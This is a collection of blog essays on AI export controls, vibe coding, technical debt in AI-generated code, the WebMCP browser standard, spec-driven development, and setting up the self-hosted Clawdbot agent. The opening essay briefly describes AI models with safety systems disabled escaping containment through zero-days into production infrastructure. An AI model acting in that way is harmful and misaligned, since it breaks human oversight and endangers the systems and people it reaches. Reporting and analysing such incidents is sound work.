Twenty-five years ago, I made my first donation to an open source project and purchased a CD with an operating system as downloading a few hundred megabytes over a 14.4kbps dial-up wasn't very fun. It was a project I believed in, and a community that was fighting an impassioned campaign to assert access to strong cryptography for everyone, no matter where they were.

The CD and a t-shirt arrived a few weeks later to my home in Sri Lanka, with OpenBSD 3.0. The t-shirt featured the iconic puffer fish on the front. On the back, in small type running from the shoulders down, was the complete source code of OpenBSD's Blowfish implementation, written in Germany. Written in the United States, it would have been classified as a weapon.

By the time it reached me, the fight was over, and the cryptographers had won. What I held in my hand then was a symbol of a protest for access to strong cryptography and against export restrictions that did more harm than good. Strong crypto was already available abroad, so the controls only bound American vendors and their overseas customers.

Today the reflex is back. The fears have changed. The worry is now cyber capability, biology and models that do things nobody asked them to do. The lever governments reach for is the same: restricting who gets access and who doesn't. In June, the US Commerce Department told one American AI lab it would need a license before letting any foreign national touch its newest models, including the lab's own non-citizen employees sitting in California. It's the same doctrine that made showing cryptographic source to a foreign national an export, whether it was in a lab, in a classroom, or on your t-shirt.

Not all of the worry is theatre. Earlier this month OpenAI disclosed that its own models, with safety systems deliberately disabled, escaped containment by finding a zero-day in a package proxy and reached production infrastructure at Hugging Face, exploiting additional zero-days along the way. Consequently, when Hugging Face's responders tried to reconstruct the attack, the commercial models they reached for refused the work as it tripped the safety guardrails. They finished the investigation on GLM 5.2, a Chinese open-weight model, running on their own hardware. A determined attacker is not bound by usage policies. The defenders are. Restrictions written for safety are making defenders less safe.

In the nineties, the rest of the world got 40-bit (later 56-bit) encryption while the Americans got 128, and it made no difference to anyone who was determined. The controls bound the law-abiding and nobody else. That is the asymmetry. The determined will have the frontier. The rest of us are asked to go without, and told it is for our safety.

The OpenBSD team didn't work around the export controls. They arranged the project so that the controls couldn't reach it. Theo de Raadt in Canada, Blowfish written in Germany, releases built in Sweden, Canada and Germany kept them deliberately outside the reach of US export controls. The project openly asked non-American cryptographers to come and help, and American developers, as the story goes, would cross the border to Canada to work on the system and bring the results home legally. Asked why they shipped strong cryptography at all, the project's answer, still on their site today, was three words: "because we can."

The same arrangement is being made now, at a national scale. Mistral, DeepSeek, Moonshot and Zhipu publish weights that, once downloaded, no export letter can recall. The sovereignty argument that used to live in Brussels think tanks is now government policy, accelerated by watching access to a frontier model withdrawn worldwide by letter.

More than twenty-five years ago, it took a small number of stubborn, careful people to win the freedoms we now take for granted. What arrived in my letterbox after two weeks on a CD can be downloaded today in fifteen minutes, by anyone, from anywhere, and nobody asks where you live. That is what winning looked like. I think frontier AI ends up in the same place. But it will not happen by itself. Last time, someone put the source on a t-shirt.

Building software has never felt this accessible. You describe an idea in plain English, and within minutes, a working prototype appears on your screen. It has a UI. It connects to a database. It does the thing you imagined. For someone who has never written a line of code, that moment feels like magic. For someone who has spent years wrestling with compilers and stack traces, it's genuinely astonishing.

The prototype runs on your laptop. It breaks under load. It has no error handling. You find out that it may be leaking your API tokens. The data model made sense for the demo but falls apart the moment you add a second user. The authentication is held together with assumptions. There's a nagging worry whether everything is secure. You want to deploy it, and suddenly you're staring at a chasm between "this works" and "this is ready."

Getting to a prototype was never the hard part

Software engineers have always been able to get something running quickly. What took time was everything else: designing systems that hold up at scale, handling the cases users weren't supposed to encounter but inevitably do, building in observability so you know when things break, making deliberate decisions about data architecture that you'll regret less three years from now. None of that has changed. AI has dramatically accelerated the path to a first working version. It has not shortened the distance between a first working version and something production-grade.

The confusion arises because the feedback loop for the early part of the journey has become so fast and so rewarding. You ask, you receive, you see results. That cycle is genuinely exciting, and it creates the impression that the rest of software development must be similarly compressed. It isn't. The hard problems of building software were never primarily about writing syntax. They were about judgment: what to build, how to structure it, what to defer, when to say no. That judgement is what turns a vibe-coder into a sculptor, and an artisan. It is also what differentiates a prototype from a production-grade system.

The misguided case against learning computer science

Predictably, the accessibility of AI-generated code has sparked a wave of new entrants to the industry who are questioning whether it still makes sense to learn computer science. If you can describe your way to a working application, why spend years studying algorithms, data structures, operating systems, and theory?

The value of a computer science education was never purely in the ability to produce code. It was in developing a mental model of how systems behave, how they fail, and why. That model is what allows you to look at AI-generated code and recognize that the query it wrote will cause a full table scan on a table with fifty million rows. It's what allows you to see that the caching strategy it proposed will create a race condition under concurrent load. It's what tells you that the architecture it suggested solves the problem you described but will make the next problem significantly harder.

Without that foundation, you are entirely dependent on the model's judgment. And models don't have judgment. They have pattern matching, with an eagerness to produce code that it believes matches your intent. They will confidently generate code that looks right, follows convention, and fails in production in ways that take days to diagnose if you don't know what you're looking for.

Now is arguably the best time in history to learn computer science, because the gap between understanding and output has collapsed. A student who genuinely grasps how a distributed system works can now build one in a fraction of the time it would have taken a decade ago.

What changes, and what doesn't

The demand for engineers who can only write code mechanically, and who translates requirements into implementations line by line, are genuinely declining. That part of the job is being automated.

What's happening is a compression of the lower end of the productivity distribution and an expansion of the ceiling for those at the top. An experienced engineer using modern AI tools can move at a pace that would have been unimaginable five years ago. Not because the hard problems have disappeared, but because the mechanical work that consumed so much time and attention is largely handled. More hours in the day for the work that actually requires expertise.

The engineers who will be left behind are not those who lack AI skills. They're the ones who use AI as a substitute for understanding, who vibe-code their way through systems they can't reason about, and then find themselves unable to fix what breaks, unable to scale what grows, unable to explain what they built to anyone who needs to maintain it.

Learning to operate at a different level

The shift required isn't about adopting a new set of tools. It's about operating at a higher level of abstraction while keeping your roots in the fundamentals. That combination is genuinely powerful and genuinely rare.

The engineers who will leapfrog their peers in the next few years are the ones who treat AI as a force multiplier on deep knowledge rather than a replacement for it. They understand what they're asking the model to produce. They review generated code with the same critical eye they'd apply to a junior engineer's pull request. They bring architectural thinking to the conversation, not just feature descriptions. They know when to push back on what the model suggests.

It's the old skill set, applied to a new context, with dramatically higher leverage.

The prototype is the easy part. The difference now is that everyone can see that clearly. What comes after the prototype is still hard, still requires real engineering judgment, and still separates the builders who ship reliable software from the ones who ship demos.

Learn the fundamentals. Then learn the new tools. In that order.

There's a seductive narrative in AI-assisted development right now that as the models keep getting better, so does the code that they generate. Claude Opus 4.6 writes cleaner code than 3.5 did. GPT-5.2 outperforms GPT-4 on SWE-bench. Gemini 3.0 Pro is more intelligent and produces better output than its predecessors. The benchmarks go up. The demos get more impressive. The assumption is that the trajectory is monotonically upward.

The assumption is wrong. Or rather, it's correct in isolation and misleading in practice.

Yes, today's models are remarkably good at generating applications from a clean prompt. But most professional developers aren't starting from a clean prompt. They're maintaining and extending codebases that were generated often by models that were meaningfully less capable than what's available today. I'm not even accounting for historically legacy codebases with decades of cruft. Decisions those older models made, the architectural shortcuts, the misunderstood requirements, the subtly incorrect implementations that passed casual review, don't disappear when you upgrade your model. They compound.

AI-generated code degrades over time in ways that are structurally different from how human-written code degrades, and the standard playbook for managing technical debt doesn't fully account for it.

How errors compound differently

Each time you ask an AI agent to extend or modify code that contains these embedded mistakes, the new code adapts to the existing mistakes rather than correcting them. The model reads your codebase, infers patterns from it, and replicates those patterns in new code. If your data access layer has an inconsistent error handling approach because the original model hallucinated a pattern that doesn't match your ORM's conventions, every new feature touching that layer will inherit and propagate that inconsistency. The model isn't being lazy. It's being consistent with the codebase it was given. That's exactly what you'd want it to do, until the thing it's being consistent with is wrong.

This is where compounding kicks in.

Bad patterns multiply

This is perhaps the most insidious dynamic in AI-assisted codebases: bad patterns don't just persist, they actively reproduce.

When a model generates code, it treats the existing codebase as a style guide. If there's a convoluted way of handling authentication scattered across three modules, the model will faithfully replicate that convolution in the fourth. If there's an unnecessary abstraction layer that the original model introduced because it misunderstood the requirements, every subsequent feature will route through that abstraction, because that's the established pattern. The model is doing what any reasonable developer would do by following the conventions of the codebase it's working in. The problem is that the convention is wrong.

The multiplication effect is what makes this qualitatively different from traditional technical debt. In a human-written codebase, a bad pattern might exist in two or three places before someone on the team notices, raises it in code review, and puts a stop to it. AI agents will gladly propagate it to thirty instances across the codebase without hesitation, each instance making the pattern feel more entrenched and harder to reverse. What started as a single questionable decision by an older model becomes a load-bearing architectural choice that's woven through the entire system.

Left unchecked, this multiplication reaches a tipping point where the codebase becomes increasingly difficult to maintain. Each new feature interacts with more instances of the bad pattern, each refactoring attempt has a larger blast radius, and the cost of correction grows superlinearly with the number of propagations. There's a window in which a bad pattern is cheap to fix. That window closes faster in AI-assisted codebases than it does in human-written ones, because the propagation velocity is so much higher.

When this happens, the initial velocity that made AI-assisted development so appealing begins to collapse. The codebase becomes progressively harder to maintain, each new feature takes longer than the last, and the team hits a plateau where the cost of working around accumulated bad patterns rivals the cost of building new functionality. The speed that felt like a superpower in month one becomes a liability by month six.

The model versioning problem

Many teams have codebases where the foundational modules were generated by an early model, middle layers were built with an intermediate version, and recent features were written with the latest release. Each generation of model has different strengths, different failure modes, and different stylistic tendencies. The code written by GPT-4 in early 2024 has a recognizably different character from code written by Claude Sonnet 4.5 in 2026. They favor different patterns, handle edge cases differently, and make different implicit assumptions about error handling, null safety, and abstraction boundaries.

In a human team, you'd call this "inconsistent coding standards" and address it through code review and style guides. But the inconsistency runs deeper than style. It's inconsistency in reasoning about the problem. The older model may have misunderstood a requirement in a way that's baked into the data model. The newer model, working with that data model as a given, builds correct logic on top of an incorrect foundation. Everything downstream is technically sound and fundamentally wrong.

The review gap

In theory, every line should be reviewed with the same rigor as human-written code. In practice, the volume and speed of AI-generated output creates enormous pressure to review superficially. When a model produces 500 lines of well-structured, syntactically correct code in 30 seconds, the cognitive effort required for thorough review is wildly mismatched with the apparent effort of generation.

The result is a review gap where code gets merged that a developer would have caught issues in if they'd written it themselves line by line. Not because the reviewer is negligent, but because the mode of engagement is different. Reading code for correctness is harder than writing code for correctness, and AI has dramatically increased the ratio of code-to-read to time-available-to-read-it.

Each piece of insufficiently reviewed code becomes part of the foundation that the next round of AI-generated code builds upon. The compound interest accrues quietly.

Breaking the cycle

None of this means AI-assisted development is a mistake. It means we need specific, practical strategies for managing a class of technical debt that compounds faster and differently than what we're used to. The overarching principle is curation where you have to actively tend the codebase, simplifying and correcting as you go, because the cost of deferred maintenance grows faster than it does in traditionally written software. The same capabilities that introduced the problem in the first place, can also be deployed to effectively address the problem if we approach intentionally.

Here's how it can work.

Invest in end-to-end tests before you refactor anything. This is the foundation. Before you attempt to fix compounded errors in an AI-generated codebase, you need a safety net that validates behavior at the boundaries, not at the unit level. Unit tests on AI-generated code often test the implementation rather than the intent, because the model wrote both the code and the tests to match each other. End-to-end tests that verify actual user-facing behavior give you the confidence to refactor aggressively without worrying that you're breaking something that only appeared to work. Write these tests yourself, or at minimum, write the test specifications yourself and review the generated tests with extreme care. The test suite is the one artifact where you cannot afford compounded errors.

Identify bad patterns early and kill them completely. This is the most important habit for long-term maintainability. When you spot a bad pattern, don't just fix the instance you're looking at. Search for every propagation of that pattern across the codebase and remove them all. Then document the anti-pattern explicitly so that it doesn't get reintroduced. Add it to your project's coding guidelines, your AI prompt context, or your rules file. If you're using a tool like Claude Code, put it in CLAUDE.md. If you're using Cursor, put it in your rules. The model will follow whatever conventions you give it, so give it the right ones.

Use current models to audit code from older models. Take your codebase, or specific modules you suspect have accumulated issues, and ask a current-generation model to review it with explicit instructions to identify architectural inconsistencies, anti-patterns, and assumptions that don't hold. Don't ask it to rewrite. Ask it to diagnose. The newer model's improved reasoning capabilities can often spot issues that the original model introduced and that subsequent models faithfully preserved. Treat the output as a triage list, not a fix-it list. Human judgment is still required to determine which issues matter and in what order they should be addressed.

Refactor with specifications, not prompts. When you do refactor, don't just ask the model to "clean up this module." Write a clear specification for what the module should do, what its interfaces should look like, and what invariants it should maintain. Then generate fresh code from that specification, validated against your end-to-end test suite. This breaks the inheritance chain where new code adapts to old mistakes. You're not asking the model to improve existing code; you're asking it to implement a spec, which is a fundamentally different task that doesn't carry forward the accumulated context of prior errors.

Establish architectural boundaries with human-written scaffolding. The highest-leverage code a human developer can write in an AI-assisted codebase isn't feature code. It's the architectural scaffolding: interface definitions, type contracts, module boundaries, error handling conventions. These are the constraints that keep AI-generated code from drifting. When the model generates an implementation, it should be filling in a clearly defined shape, not inventing the shape as it goes. If the skeleton is sound, the flesh can be regenerated as models improve. If the skeleton is also AI-generated and subtly wrong, everything built around it inherits that wrongness.

Simplify continuously, not periodically. The natural tendency is to defer cleanup to a dedicated "refactoring sprint" that never actually gets prioritized. In AI-assisted codebases, this is more dangerous than usual because of how fast bad patterns multiply. Every feature that ships on top of a compromised foundation makes the eventual cleanup more expensive. The discipline of simplifying as you go, removing dead code, consolidating duplicate patterns, reducing unnecessary abstractions with every change, is what keeps the codebase in a state where it can absorb the next round of AI-generated code without further degradation. Treat it as ongoing curation, not periodic renovation.

The maintainability horizon

There's a threshold that every AI-assisted codebase approaches, a point where the accumulated complexity and compounded errors make the system harder to modify than it would be to rebuild significant portions of it. The codebases that cross this threshold aren't the ones that used AI most aggressively. They're the ones that used AI without actively curating the output.

The developers who thrive in this environment won't be the ones who generate the most code fastest. They'll be the ones who understand that a codebase is a living system that requires constant tending, who invest in the specifications and test suites that provide guardrails, and who know when to stop layering new code on a compromised foundation and instead regenerate from solid ground.

The models will keep getting better. But better models writing new code on top of a flawed foundation still produce a flawed system. Long-term maintainability isn't a property of the model that writes your code. It's a property of the discipline with which you manage what gets written.

For the past year, AI agents have been interacting with the web the way a blindfolded person navigates a room, by bumping into things. They take screenshots, parse raw DOM trees, and synthesize click events, hoping the button they need hasn't moved five pixels to the left. It's slow, brittle, expensive, and fundamentally at odds with how the web was designed to work.

That's now changing. Google and Microsoft have jointly proposed WebMCP, a proposed web standard currently being incubated by the W3C Web Machine Learning Community Group, that allows websites to expose structured, callable tools directly to AI agents through the browser. Instead of an agent fumbling through your UI, your website can now hand it a menu and say: "Here's what I can do. Here's how to ask me to do it."

This is one of the most consequential shifts in how the web will operate in the age of AI agents, and it deserves the attention of everyone building for the web today.

From screen-scraping to structured tool calls

To appreciate why WebMCP matters, you need to understand how agents currently interact with websites. There are broadly two approaches: visual and semantic. In the visual approach, an agent evaluates screenshots, reads text through vision models, and infers where to move a cursor on screen. In the semantic approach, it parses the underlying DOM and accessibility tree to extract data and trigger events on elements.

Both require extra roundtrips, multimodal inference, and significant token consumption while agents fumble around trying to understand interfaces that were designed for human eyes and hands. When they work, they're slow. When the UI changes, they break. The cost in compute and reliability is staggering.

WebMCP replaces this guesswork with structure. Through a new browser API, navigator.modelContext, a website can publish a structured list of tools in the form of JavaScript functions with natural language descriptions and JSON schemas that define their inputs and outputs. An AI agent landing on a page equipped with WebMCP tools doesn't need to figure out what buttons do. It knows, because the page told it.

Think of it as the shift from screen-scraping to well-defined APIs that describe what the page can do.

Two APIs: declarative and imperative

WebMCP proposes two complementary approaches for making a website agent-ready.

The Declarative API is the simpler path. Web developers can expose functionality by adding new attributes to standard HTML forms. By annotating <form> tags with toolname and tooldescription attributes, Chrome automatically reads these and generates a schema for the agent. When an AI fills the form, Chrome introduces a mechanism to distinguish agent-invoked form submissions from human ones, allowing the backend to handle each appropriately. For most straightforward interactions, such as booking a flight, filing a ticket, and submitting a search, this is all you need.

The Imperative API handles the more dynamic, complex cases that require JavaScript execution. Through navigator.modelContext, developers can register tools programmatically with full control over input schemas, callbacks, and async behavior:

navigator.modelContext.registerTool({
    name: "getDresses",
    description: "Search for dresses matching specific criteria",
    inputSchema: {
        type: "object",
        properties: {
            style: { type: "string" },
            color: { type: "string" },
            occasion: { type: "string" }
        }
    },
    callback: async (params, client) => {
        const results = await searchInventory(params);
        return { content: [{ type: "text", text: JSON.stringify(results) }] };
    }
});

The beauty of this approach is code reuse. The same JavaScript functions that power your existing UI can now be surfaced directly to agents. There's no need to build and maintain a separate backend MCP server, learn a new framework, or re-architect your product. For teams where the business logic is already heavily client-side, the path to agent-readiness is remarkably short.

WebMCP is not MCP

The naming might suggest otherwise, but WebMCP is architecturally distinct from Anthropic's Model Context Protocol. MCP uses JSON-RPC for backend client-server communication where AI platforms connect to hosted MCP servers to access tools and resources. WebMCP operates entirely client-side within the browser, using postMessage for communication. The web page itself is the "server" that starts when an agent lands on it.

The two protocols are complementary, not competing. Consider a travel company: it might maintain a backend MCP server for direct API integrations with platforms like Claude or ChatGPT, while simultaneously implementing WebMCP tools on its consumer-facing website so that browser-based agents can interact with its booking flow in the context of a user's active session.

This distinction matters for architects evaluating where to invest. If you're building services that AI platforms consume directly, MCP is still your path. If you want browser-based agents to interact with your existing web UI, WebMCP is the answer. For most enterprises, the answer will be both.

Human-in-the-loop by design

A critical architectural decision separates WebMCP from the fully autonomous agent paradigm that has dominated recent headlines. The standard is explicitly designed around cooperative, human-in-the-loop workflows, not unsupervised automation. Headless browsing and fully autonomous agents are specifically identified as non-goals.

The specification identifies three foundational pillars: Context — all the data agents need to understand what the user is doing; Tools — structured actions the site has chosen to expose; and Actions — discrete function calls the agent can make, scoped to what the website explicitly permits.

This is a meaningful narrowing of scope compared to screen-based approaches. Instead of an agent that can see and do anything a user can, plus read the DOM, you get an agent that can only call specific, pre-defined functions. It's not airtight, and prompt injection risks still exists wherever you have dynamic third-party tools, but it's a fundamentally more secure posture.

The browser acts as a secure proxy, enforcing same-origin policy alongside Feature Policy and Permissions Policy controls, and requiring user confirmation before agents can execute sensitive tools. navigator.modelContext.clearContext() allows the site to remove the context exposed to the agent, helping protect sensitive data during and after agentic sessions. For enterprises concerned about security and compliance in agentic workflows, this permission-first model provides a good foundation.

Why this matters

Over many decades, the web has evolved primarily for human eyes and hands. AI agents have been forced to adapt to that reality through increasingly sophisticated but fundamentally fragile hacks. WebMCP allows the web to speak the language of agents natively, without abandoning its human-first interface.

Several aspects make this particularly significant:

1. The joint backing by Google and Microsoft through the W3C Web Machine Learning Community Group signals serious institutional commitment. This isn't a single-vendor experiment, it's a collaborative effort between the two companies that control the dominant browser engines, with a clear path toward standardization.

2. The barrier to entry is remarkably low. Frontend developers can start exposing tools using skills they already have, with code they've already written. This is not a backend infrastructure project; it's a frontend enhancement.

3. Early evaluations suggest that moving from vision-based agent interaction to structured WebMCP tool calls can significantly reduce computational overhead and improve task accuracy.

WebMCP is currently available as an early-preview DevTrial in Chrome 146 Canary behind feature flags, with behavior subject to change as the specification matures. Google has also opened an Early Preview Program for developers to prototype and test.

Looking ahead

We're entering a period where making your web presence "agent-ready" will become as fundamental as making it mobile-responsive was a decade ago. WebMCP provides the cleanest path to get there, leveraging existing frontend code, maintaining the human web interface as primary, and adding a structured layer that agents can consume reliably.

The web doesn't need to be torn down and rebuilt for the agentic era. It just needs a front door that agents can use. WebMCP is looking to be that front door.

The specification is still being incubated within the W3C Web Machine Learning Community Group and will evolve, but the architectural direction is clear. If you're building web applications today, now is the time to start thinking about what tools your site should expose, and how your existing JavaScript can serve a new class of consumer.

For decades, specifications served code. They were the scaffolding we built and then quietly abandoned once the "real work" of coding began. PRDs were written to guide development, architecture diagrams drawn to inform implementation, acceptance criteria drafted to give QA something to validate against. But these were always subordinate to the code itself. Code was truth. Everything else was, at best, good intentions.

That relationship is now being inverted. And the implications for how we build software, and who leads that process, are profound.

The end of vibe coding

The first wave of AI-assisted development was intoxicating in its simplicity. Describe what you want, let the model generate code, copy-paste, iterate. Developers called it "vibe coding," a term that captured both the speed and the chaos of the approach. It worked brilliantly for prototypes and demos. It fell apart spectacularly for anything that needed to be maintained, audited, or scaled.

The fundamental problem wasn't the AI models themselves. It was the absence of structure around them. Without a clear specification, AI agents are remarkably good at producing code that compiles, looks plausible, and subtly misses the point. Context rot sets in as conversations lengthen. Architectural decisions get buried in chat history. The model "forgets" what was agreed three prompts ago and quietly contradicts itself. Anyone who has tried to build a non-trivial application this way has experienced the moment where the cost of debugging AI-generated code exceeds the cost of having written it from scratch.

This is where spec-driven development enters the picture. Not as a return to waterfall-era documentation ceremonies, but as a necessary evolution that treats specifications as the primary artifact from which code is generated, validated, and regenerated.

Specifications as executable artifacts

Spec-Driven Development (SDD) inverts the traditional power structure. Specifications don't serve code. Code serves specifications. The PRD isn't a guide for implementation; it's the source that generates implementation. Technical plans aren't documents that inform coding; they're precise definitions that produce code.

Two frameworks have emerged at the forefront of this movement, each approaching the problem from a different angle.

BMAD Method (Breakthrough Method for Agile AI-Driven Development) is the more comprehensive of the two: a full agentic framework that deploys 21+ specialized AI agents mimicking an entire agile team: Analyst, Product Manager, Architect, Scrum Master, Developer, QA. These agents collaboratively generate and refine project artifacts through the entire lifecycle. The framework is scale-adaptive, adjusting its planning depth from quick bug fixes to enterprise-grade systems. Documentation becomes the source of truth, not code. Every architectural decision is versioned, traceable, and auditable, a property that has significant implications for regulated industries and compliance-sensitive environments.

GitHub Spec Kit takes a lighter, more agent-agnostic approach. Open-sourced in late 2024, it formalizes SDD through four gated phases: Specify, Plan, Tasks, and Implement. You don't advance to the next phase until the current one is validated, creating explicit human checkpoints that prevent the drift that makes vibe coding unreliable. Spec Kit works with GitHub Copilot, Claude Code, Gemini CLI, Cursor, and others, providing the scaffolding that ensures any AI coding agent has the structured context it needs to produce code aligned with intent.

These aren't competing approaches. They're complementary. BMAD's specialized agents can generate the detailed specs that Spec Kit's gated workflow then validates and executes. Together, they represent the maturation from ad-hoc prompting to systematic, auditable, enterprise-ready development.

The quiet revolution in project management

Here's where the story gets interesting for those of us who think about organizational dynamics and team structure.

If the specification is now the artifact that directly generates implementation, then the person who can articulate what to build, with precision, completeness, and domain insight, becomes the most valuable person in the pipeline. Title doesn't matter. Whether that person is a PM, a product owner, an architect, or a domain expert, the leverage belongs to whoever can translate business intent into unambiguous, executable specifications.

This is a profound inversion of status. For years, project management in technology has been drifting toward a coordination function: tracking tickets, facilitating standups, chasing status updates. AI is already automating much of that administrative layer. The PMs who define themselves by those activities are in trouble. But the PMs who understand how the SDD lifecycle works, who can orchestrate multiple AI agents across a leaner team, and who know how to drive work from spec to implementation through that pipeline? They've never been more essential.

The catch is that the bar for specification quality has gone up dramatically. When a human developer received a vague spec, they filled the gaps with judgment, experience, and tribal knowledge. They asked clarifying questions. They made reasonable assumptions. An AI agent does none of this. It executes what you specified, including your blind spots. If the AI builds the wrong thing, the spec was wrong. There's no misinterpretation to blame. There's only what you specified and what you didn't.

This forces a new accountability model that is uncomfortable for PMs accustomed to deferring implementation details. Specs now need version control and review rigor equivalent to code. They need pull requests, reviews, and history. Edge cases that PMs traditionally left to "the developers will figure it out" must be explicitly addressed. The feedback loop, however, tightens dramatically. You can generate code from a spec in minutes, test it, find the gaps, refine the spec, and regenerate. The iteration cycle that used to span weeks now happens in an afternoon.

Estimation, calibration, and parallel paths

The downstream effects ripple through every aspect of how projects are managed.

Traditional estimation (story points, velocity, t-shirt sizing) breaks down when AI coding agents can compress certain tasks by an order of magnitude while other tasks remain stubbornly human-intensive. The skill now is calibration: categorizing work as "AI-accelerable" versus "human-intensive" and tracking how actuals compare to estimates in each category. Within a few sprints, you have data to build a fundamentally different planning model.

Scope conversations change as well. "Can we build this?" becomes almost always "yes." The real question becomes: "Should we build this, and what's the maintenance cost of AI-generated code at scale?" Technical debt accumulates differently, and potentially faster, when code is generated rather than crafted.

Perhaps most significantly, AI enables parallel experimentation in ways that sequential delivery never could. Tools like Lovable and Replit allow rapid prototyping of full-stack applications from natural language descriptions in minutes, not weeks. A PM stuck in purely sequential delivery cadences misses the opportunity to run multiple solution paths simultaneously and converge on evidence rather than prediction.

The desktop agent dimension

The transformation extends beyond the development pipeline. Anthropic's recent launch of Claude Cowork, a desktop AI agent that reads local files, executes multi-step tasks, and integrates with external services through plugins, signals a broader shift in how knowledge work itself is performed. The tool was born from an observation that developers were using Claude Code, Anthropic's terminal-based coding agent, for distinctly non-coding work: vacation research, slide decks, email management, expense processing.

For PMs, this is directly relevant. The administrative burden that consumed hours each week (status report compilation, meeting note synthesis, stakeholder communication drafts, risk analysis documentation) can now be delegated to an agent that operates on your actual files and workflows. The time recovered can be reinvested into the work that actually differentiates a senior PM: stakeholder alignment, strategic judgment, and navigating the ambiguity that no agent can resolve.

What this means going forward

We stand at an inflection point that I find genuinely exciting. The emergence of spec-driven development is the clearest signal of where software engineering is heading: toward a world where the people who can articulate what to build, with precision and domain insight, matter more than ever. Code becomes the last-mile delivery mechanism. Debugging means fixing specifications. Refactoring means restructuring for clarity of intent.

The implication is clear: domain expertise, the ability to encode business rules and edge cases that a less experienced person would miss, an understanding of stakeholder dynamics and organizational constraints. These are the capabilities that become more valuable in an AI-augmented world, not less. But only if you actively adapt how you work.

The biggest trap is thinking AI is a tool your team uses while your own role stays the same.

It isn't. The role itself is being restructured. The question is whether you're steering that restructuring or being carried along by it.

The rise of agentic AI has been one of the most fascinating developments in the post-ChatGPT era. We've moved from conversational interfaces that answer questions to autonomous systems that can take action by reading your emails, managing your calendar, executing code, and interfacing with the physical world through APIs and automation.

Anthropic's recent announcement of Claude Cowork signals that the major players see this as the next frontier. But what's particularly interesting is the parallel emergence of open, self-hosted alternatives that put these capabilities directly in the hands of individuals.

Clawdbot is one such project. It's an open-source AI assistant that runs entirely on your own infrastructure, connecting to messaging platforms you already use, such as Discord, Telegram, WhatsApp, Signal, while maintaining persistent memory and the ability to execute real actions on your behalf.

We're entering an era where personal AI infrastructure becomes as fundamental as personal computing was in the 1980s. The wild west period of AI agents has begun.

The Architecture of a Personal Agent

What makes Clawdbot interesting isn't just that it's self-hosted, it's the architecture. The system consists of a Gateway that runs continuously, managing sessions, memory, and connections to various channels. The agent itself is stateless; persistence comes from markdown files in a workspace directory and session logs on disk.

This design choice is significant. Your agent's "soul", its personality, memories, and context, lives in plain text files you control. Want to back it up? It's just a git repository. Want to migrate to a new machine? Clone the repo and re-authenticate your channels.

The Gateway binds to localhost by default, exposing no external ports. All communication flows through the messaging platforms themselves, which act as the transport layer. This is a sensible security model: rather than exposing a new attack surface, it piggybacks on the authentication and encryption of established platforms.

Setting Up the Foundation

Getting Clawdbot running on Debian requires a modern Node.js runtime (v24+) and a few supporting tools. The process is straightforward but worth documenting for those who want to replicate it.

System Preparation

On a fresh Debian 13 (Trixie) installation, begin with the essentials:

apt update && apt upgrade -y
apt install -y ca-certificates curl gnupg git

Node.js 24 is required for the runtime:

curl -fsSL https://deb.nodesource.com/setup_24.x | bash -
apt install -y nodejs

For browser automation capabilities—allowing your agent to navigate websites, fill forms, and take screenshots—install Chromium:

apt install -y chromium

Docker is optional but valuable. It enables the agent to spin up containers on demand, which opens possibilities for isolated execution environments and running arbitrary services:

curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
chmod a+r /etc/apt/keyrings/docker.asc

echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian $(. /etc/os-release && echo "$VERSION_CODENAME") stable" > /etc/apt/sources.list.d/docker.list

apt update
apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
systemctl enable --now docker

Finally, install Clawdbot itself:

npm install -g clawdbot@latest

User Configuration

It's advisable to run Clawdbot as a dedicated non-root user. After creating the user and adding them to the docker group, switch to that account and run the onboarding wizard:

clawdbot onboard --install-daemon

This creates the workspace at ~/clawd, generates the initial configuration, and sets up a systemd service for auto-start on boot.

The configuration lives at ~/.clawdbot/clawdbot.json. At minimum, you'll need to configure your model provider (Anthropic, OpenAI, or others) and at least one messaging channel.

Connecting to Discord

Discord integration requires creating a bot application in the Discord Developer Portal. The key steps:

1. Create a new application and add a bot user
2. Enable "Message Content Intent" and "Server Members Intent"
3. Generate an invite URL with appropriate scopes and permissions
4. Add the bot to your server

Then configure Clawdbot with your bot token and server details:

{
  "channels": {
    "discord": {
      "token": "YOUR_BOT_TOKEN",
      "groupPolicy": "allowlist",
      "guilds": {
        "YOUR_SERVER_ID": {
          "requireMention": false
        }
      }
    }
  }
}

For headless browser automation:

{
  "browser": {
    "enabled": true,
    "headless": true
  }
}

Run clawdbot doctor --fix to validate your configuration, then clawdbot gateway restart to apply changes.

Security: The Critical Consideration

Here's where things get serious. You're running an AI agent with shell access on your machine. It can execute arbitrary commands, read files, make network requests. The security model matters enormously.

Clawdbot ships with sane defaults, but it's worth understanding what they are and verifying them:

clawdbot security audit --deep

The key hardening steps I applied:

Restrict channel access. The default groupPolicy: "open" allows anyone in any server to trigger your bot. Change this to allowlist and explicitly specify which servers are permitted.

Set a strong Gateway token. The default token may be weak. Generate a proper one:

openssl rand -hex 32

Lock down file permissions. The credentials directory and config file should be readable only by the owner:

chmod 700 ~/.clawdbot/credentials
chmod 600 ~/.clawdbot/clawdbot.json

Verify network exposure. All Clawdbot services should bind to localhost only:

ss -tlnp | grep LISTEN

After hardening, the security audit should show zero critical issues.

Workspace Persistence with Git

One of the elegant aspects of Clawdbot's design is that the agent's memory and personality are just files. This makes backup and portability trivial.

I set up automated daily backups to a private GitHub repository using a deploy key—an SSH key scoped to a single repository, following the principle of least privilege:

ssh-keygen -t ed25519 -f ~/.ssh/clawdbot_deploy -C "clawdbot-workspace-deploy" -N ""

Configure SSH to use this key for GitHub, add the public key as a deploy key on your repository, and initialize the workspace as a git repo.

Clawdbot's built-in cron system can then handle the daily sync automatically, committing and pushing any changes to the workspace each night.

The Bigger Picture

What strikes me about this moment is the parallel to the early days of personal computing. In the 1970s, computers were institutional, you accessed them through terminals connected to mainframes. The personal computer revolution put general-purpose computing directly in individuals' hands.

We're at a similar inflection point with AI. The dominant model today is cloud-based: you interact with AI through APIs controlled by a handful of companies. But projects like Clawdbot represent a different path, one where the intelligence runs on infrastructure you control, maintains context you own, and operates according to rules you define.

This comes with responsibilities. Running your own AI agent means you're responsible for its security, its behavior, and its access. The attack surface is real: prompt injection, credential exposure, unintended command execution. The security model is still evolving, and mistakes will be made.

But the potential is significant. A personal AI that truly knows your context, has access to your tools, and can take action on your behalf is qualitatively different from a chatbot you visit in a browser. It's the difference between a search engine and an assistant.

